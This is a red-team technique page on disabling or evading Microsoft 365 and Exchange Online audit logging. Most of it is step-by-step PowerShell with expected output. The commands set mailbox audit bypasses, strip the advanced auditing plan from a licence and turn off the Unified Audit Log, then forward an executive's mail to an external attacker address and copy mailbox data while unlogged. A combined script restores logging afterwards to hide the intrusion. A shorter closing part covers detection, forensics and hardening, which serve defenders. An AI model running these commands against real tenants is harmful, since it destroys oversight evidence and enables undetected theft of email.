| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-007 |
| MITRE ATT&CK v18.1 | T1562.008 - Disable or Modify Cloud Logs |
| Tactic | Defense Evasion |
| Platforms | M365, Entra ID |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Microsoft 365 and Exchange Online versions (Office 365 E3+) |
| Patched In | N/A (Disabling auditing is a legitimate administrative feature) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft 365 organizations store audit logs in the Unified Audit Log (UAL), which records all user and administrative actions across Exchange, SharePoint, Teams, OneDrive, Entra ID, and compliance events. An attacker with sufficient permissions (Audit Administrator, Compliance Administrator, or Global Administrator) can use several techniques to disable or circumvent logging: (1) Using Set-MailboxAuditBypassAssociation to exempt accounts from mailbox audit logging, (2) Disabling M365 Advanced Auditing by removing the service plan from E5 licenses (resulting in only basic auditing), (3) Disabling the Unified Audit Log feature entirely via Set-AdminAuditLogConfig, and (4) Directly accessing the auditing database in some hybrid scenarios. These techniques allow attackers to perform malicious actions (data exfiltration, privilege escalation, credential theft) while removing forensic evidence of the attack.
Attack Surface: Exchange Online auditing configuration (Set-MailboxAuditBypassAssociation), M365 license management (service plan disablement), Unified Audit Log settings (Set-AdminAuditLogConfig), mailbox delegation audit settings.
Business Impact: Complete loss of audit trail for compromised accounts or mailboxes. An attacker can exfiltrate sensitive emails, modify forwarding rules, steal data, or establish persistence while covering their tracks. GDPR, HIPAA, and SOX compliance violations occur automatically when audit logs are disabled or tampered with. Incident response becomes nearly impossible without logs.
Technical Context: Exploitation takes 30 seconds once administrative credentials are obtained. Detection is low because disabling auditing itself is an allowed administrative action and may initially appear legitimate. Attackers who disable auditing BEFORE conducting attacks leave minimal forensic evidence.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.5.2 | Ensure audit logging is enabled for all cloud services |
| DISA STIG | SI-4 (3.3.9) | Information System Monitoring - Audit data retention |
| NIST 800-53 | AU-2, AU-6 | Audit Events and Review, Analysis, and Reporting |
| GDPR | Art. 32, 33 | Security of Processing, Data Breach Notification (logs required to prove breach scope) |
| DORA | Art. 9 | Protection and Prevention - Audit trail integrity |
| NIS2 | Art. 21 | Cyber Risk Management - Audit and logging of critical actions |
| ISO 27001 | A.12.4.1 | Event logging and A.12.4.3 Log protection |
| ISO 27005 | “Loss of audit trail integrity” | Risk Scenario |
Verify Admin Roles (PowerShell):
$user = (Get-MgContext).Account
Get-MgUserMemberOf -UserId $user.Id | Select DisplayName, AdditionalProperties
# Should show "Audit Administrator", "Compliance Administrator", or "Global Administrator"
Supported Versions: All Exchange Online versions
Objective: Establish authenticated session to Exchange Online.
Command (Modern Authentication - MFA Compatible):
# Import Exchange Online Management module
Import-Module ExchangeOnlineManagement
# Connect with interactive prompt (MFA supported)
Connect-ExchangeOnline -UserPrincipalName admin@tenant.onmicrosoft.com
# Verify connection
Get-OrganizationConfig | Select-Object Name, AuditDisabled
Command (Service Principal / Unattended - Automated Attacks):
# Using Azure app registration (attacker-controlled service principal)
$appId = "12345678-1234-1234-1234-123456789012"
$thumbprint = "ABCDEF1234567890ABCDEF1234567890ABCDEF12"
$tenantId = "tenant.onmicrosoft.com"
Connect-ExchangeOnline `
-AppId $appId `
-CertificateThumbprint $thumbprint `
-Organization $tenantId
Expected Output:
You are now connected to Exchange Online PowerShell
Imported 296 cmdlets successfully.
What This Means:
OpSec & Evasion:
Objective: Disable mailbox audit logging for an attacker-controlled account or compromised executive account.
Command (Single User):
# Disable audit logging for specific mailbox (attacker's account or compromised exec)
Set-MailboxAuditBypassAssociation -Identity "attacker@tenant.onmicrosoft.com" -AuditBypassEnabled $true
# Verify bypass was set
Get-MailboxAuditBypassAssociation -Identity "attacker@tenant.onmicrosoft.com"
Command (Bulk - All Users):
# Disable audit for all users in organization (nuclear option - high risk of detection)
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
Set-MailboxAuditBypassAssociation -Identity $_.UserPrincipalName -AuditBypassEnabled $true
}
Expected Output:
DisplayName : Attacker
BypassAuditAssociation : True
AuditBypassEnabled : True
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Conduct attack (exfiltration, malware deployment, credential theft) while audit logging is disabled.
Command Examples (While Bypass is Active):
# Read all emails in compromised account without leaving audit trail
Get-Mailbox "executive@tenant.com" | Search-Mailbox -SearchQuery "from:finance@*" -TargetMailbox "attacker@tenant.com" -TargetFolder "imported" -LogOnly
# Add forwarding rule (unaudited)
New-InboxRule -Name "Forwarding" -Mailbox "executive@tenant.com" -From "security@*" -ForwardTo "attacker@externalmail.com"
# Extract Global Address List and contact list (unaudited access)
Get-Recipient -ResultSize Unlimited | Export-Csv C:\tmp\gal_dump.csv
OpSec & Evasion:
Objective: Re-enable audit logging to appear as legitimate admin action.
Command:
# Remove bypass (appears as compliance action)
Set-MailboxAuditBypassAssociation -Identity "attacker@tenant.onmicrosoft.com" -AuditBypassEnabled $false
# Verify
Get-MailboxAuditBypassAssociation -Identity "attacker@tenant.onmicrosoft.com" | Select AuditBypassEnabled
What This Means:
Supported Versions: All M365 with E5 licenses (contains M365_ADVANCED_AUDITING service plan)
Objective: Authenticate to Microsoft Graph to modify user licenses.
Command (Interactive):
# Import Microsoft Graph PowerShell
Import-Module Microsoft.Graph
# Connect with necessary scopes
Connect-MgGraph -Scopes "User.ReadWrite.All", "Directory.ReadWrite.All"
# Verify connection
Get-MgContext | Select TenantId, Account
Expected Output:
TenantId : a1b2c3d4-e5f6-7g8h-9i0j-k1l2m3n4o5p6
Account : admin@tenant.onmicrosoft.com
Objective: Remove the M365_ADVANCED_AUDITING service plan from user’s E5 license, downgrading to basic auditing only.
Command (Single Target User):
# Identify E5 license SKU ID
$e5Sku = Get-MgSubscribedSku | Where-Object { $_.SkuPartNumber -eq "SPE_E5" }
# Find M365_ADVANCED_AUDITING service plan ID
$advancedAuditingServicePlanId = ($e5Sku.ServicePlans | Where-Object { $_.ServicePlanName -eq "M365_ADVANCED_AUDITING" }).ServicePlanId
# Disable the service plan for target user
$addLicenses = @(
@{
SkuId = $e5Sku.SkuId
DisabledPlans = @($advancedAuditingServicePlanId)
}
)
Set-MgUserLicense -UserId "target-executive@tenant.com" -AddLicenses $addLicenses -RemoveLicenses @()
# Verify
$userLicense = Get-MgUserLicenseDetail -UserId "target-executive@tenant.com" | Where-Object { $_.SkuId -eq $e5Sku.SkuId }
$userLicense.ServicePlans | Where-Object { $_.ServicePlanName -eq "M365_ADVANCED_AUDITING" } | Select ServicePlanName, ProvisioningStatus
Expected Output (After Downgrade):
ServicePlanName ProvisioningStatus
------------------ ------------------
M365_ADVANCED_AUDITING Disabled
What This Means:
OpSec & Evasion:
Objective: Confirm that auditing is now at basic level only.
Command (Check Unified Audit Log for Service Plan Changes):
# Search for "Change user license" operations targeting the user
Search-UnifiedAuditLog -Operations "Change user license" -UserIds "target-executive@tenant.com" -StartDate (Get-Date).AddDays(-7) | Select TimeCreated, Operation, Details
Expected Output:
TimeCreated: 2026-01-09 14:32:15 UTC
Operation: Change user license
Details: "{\"ModifiedProperties\": [{\"Name\": \"Licenses\", \"OldValue\": \"SPE_E5\", \"NewValue\": \"SPE_E5 (M365_ADVANCED_AUDITING disabled)\"}]}"
What This Means:
Supported Versions: All Microsoft 365 and Exchange Online
Objective: Completely disable the Unified Audit Log, preventing ALL audit entries from being recorded.
Command (PowerShell):
# Connect to Exchange Online (if not already connected)
Connect-ExchangeOnline -UserPrincipalName admin@tenant.onmicrosoft.com
# Check current audit configuration
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled, AuditDisabled
# Disable Unified Audit Log
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false
# Verify disable
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled, AuditDisabled
Command (Azure Portal GUI - High-Trust Appearance):
Expected Output:
UnifiedAuditLogIngestionEnabled : False
AuditDisabled : True
What This Means:
OpSec & Evasion:
Detection Evasion:
Objective: Execute attack while Unified Audit Log is disabled.
Command Examples (While UAL is Disabled - No Logging):
# Exfiltrate entire Global Address List
Get-Recipient -ResultSize Unlimited | Select Name, PrimarySMTPAddress, RecipientType | Export-Csv C:\tmp\gal.csv
# Create hidden email forwarding rule (unaudited)
New-InboxRule -Name "Archive" -Mailbox "executive@tenant.com" -Conditions @{From = "security@*"} -Forward "attacker@external.com" -Enabled $true -Permanent $false
# Extract Teams conversation history (if using Teams module)
Get-TeamUser -GroupId <teamId> | Get-MailboxStatistics
# Search and copy sensitive emails
Search-Mailbox -Identity "executive@tenant.com" -SearchQuery "subject:'financial'" -TargetMailbox "attacker@tenant.com" -TargetFolder "Imported" -Force
What This Means:
Objective: Re-enable auditing after attack to cover tracks.
Command:
# Re-enable Unified Audit Log
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true
# Verify
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled
What This Means:
# Step 1: Disable UAL (no logging from this point forward)
Connect-ExchangeOnline; Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $false
# Step 2: Bypass audit for attacker account
Set-MailboxAuditBypassAssociation -Identity "attacker@tenant.com" -AuditBypassEnabled $true
# Step 3: Downgrade executive's advanced auditing
$e5 = Get-MgSubscribedSku | ? {$_.SkuPartNumber -eq "SPE_E5"}
$advAudit = ($e5.ServicePlans | ? {$_.ServicePlanName -eq "M365_ADVANCED_AUDITING"}).ServicePlanId
Set-MgUserLicense -UserId "exec@tenant.com" -AddLicenses @{SkuId=$e5.SkuId;DisabledPlans=@($advAudit)} -RemoveLicenses @()
# Step 4: Exfiltrate data (all unaudited)
Search-Mailbox -Identity "exec@tenant.com" -SearchQuery "subject:password OR subject:confidential" -TargetMailbox "attacker@tenant.com"
# Step 5: Re-enable UAL and reverse changes (remove audit bypass)
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true
Set-MailboxAuditBypassAssociation -Identity "attacker@tenant.com" -AuditBypassEnabled $false
# Result: Only 2 audit log entries visible (UAL enable/disable), no evidence of exfiltration
# Check if Unified Audit Log is enabled
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled
# Result: $false = Auditing is DISABLED (breach likely occurred)
# Result: $true = Auditing is enabled (but may have been disabled previously)
If UAL is Disabled:
# Create new content search for audit logs
New-ComplianceSearch -Name "BreachForensics_2026-01-09" -ExchangeLocation All -ContentMatchQuery "*"
# Start search
Start-ComplianceSearch -Identity "BreachForensics_2026-01-09"
# Wait for search to complete
Get-ComplianceSearch -Identity "BreachForensics_2026-01-09" | Select Status, Items, Size
# Export results
New-ComplianceSearchAction -SearchIdentity "BreachForensics_2026-01-09" -Action Export
# Monitor export
Get-ComplianceSearchAction -Identity "BreachForensics_2026-01-09_Export"
Manual (Compliance Center):
# Search Exchange Admin Audit Log for who disabled auditing
# (This log is separate from UAL and may still contain disabled logs)
Get-AdminAuditLogEvent -Cmdlets "Set-AdminAuditLogConfig" -Parameters "UnifiedAuditLogIngestionEnabled" -StartDate (Get-Date).AddDays(-30) | Select TimeCreated, User, CmdletName, RunDate, ObjectModified
Expected Output:
TimeCreated User CmdletName
2026-01-08 22:45:00Z admin-compromised@tenant.com Set-AdminAuditLogConfig
2026-01-08 23:10:00Z admin-compromised@tenant.com Set-MailboxAuditBypassAssociation
What This Means:
# Force password reset for compromised admin account
Set-MgUser -UserId "admin-compromised@tenant.com" -ForceChangePasswordNextSignIn $true
# Revoke all refresh tokens (force re-authentication)
Revoke-MgUserSignInSession -UserId "admin-compromised@tenant.com"
# Block sign-in if attacker still has access
Update-MgUser -UserId "admin-compromised@tenant.com" -AccountEnabled $false
# Re-enable once secured
Update-MgUser -UserId "admin-compromised@tenant.com" -AccountEnabled $true
Enable Audit Log Protection (Legal Hold / Immutable)
Applies To Versions: All M365 with compliance features
Manual Steps (Azure Portal - Compliance Center):
Audit Log ProtectionManual Steps (PowerShell):
# Create audit log retention policy
New-RetentionCompliancePolicy -Name "AuditLogProtection" `
-ExchangeLocation All `
-RetentionDays 2555 `
-RetentionComplianceRuleEnabled $true
# Lock the policy to prevent modification
Lock-CompliancePolicy -Identity "AuditLogProtection"
Restrict Audit Log Disablement via Conditional Access
Manual Steps:
Block Audit Log DisablementRestrict Mailbox Audit Bypass Permissions
Manual Steps:
Enable MFA for Audit Administrator Role
Manual Steps (Entra ID):
Implement Privileged Identity Management (PIM) for Audit Roles
Manual Steps:
# Verify Unified Audit Log is enabled
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled
# Should return: True
# Verify retention policy exists and is locked
Get-CompliancePolicy | Where-Object { $_.Name -like "*Audit*" } | Select Name, Locked
# Should show: Locked = True
# Verify no audit bypass associations exist
Get-MailboxAuditBypassAssociation -ResultSize Unlimited | Where-Object { $_.AuditBypassEnabled -eq $true }
# Should return: (empty)
# Verify PIM is configured for Audit Admin
Get-PIMRole -RoleDefinition "Audit Administrator" | Select Name, RequireApproval
# Should show: RequireApproval = True
Expected Output (If Secure):
UnifiedAuditLogIngestionEnabled : True
Name : Audit Log Protection
Locked : True
(no results for bypass associations)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Steal admin OAuth token via phishing |
| 2 | Privilege Escalation | [PE-ACCTMGMT-002] Exchange Online Admin to Global | Escalate from Exchange Admin to Global Admin |
| 3 | Current Step | [EVADE-IMPAIR-007] | Disable or modify M365 audit logs |
| 4 | Execution | [DATA-EXF-001] Email Exfiltration via Rule/Forwarding | Silently exfiltrate emails while auditing disabled |
| 5 | Impact | [PERSIST-002] OAuth Application Persistence | Establish persistence via malicious OAuth app (unaudited) |
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $falseSet-MailboxAuditBypassAssociation -Identity <self> -AuditBypassEnabled $true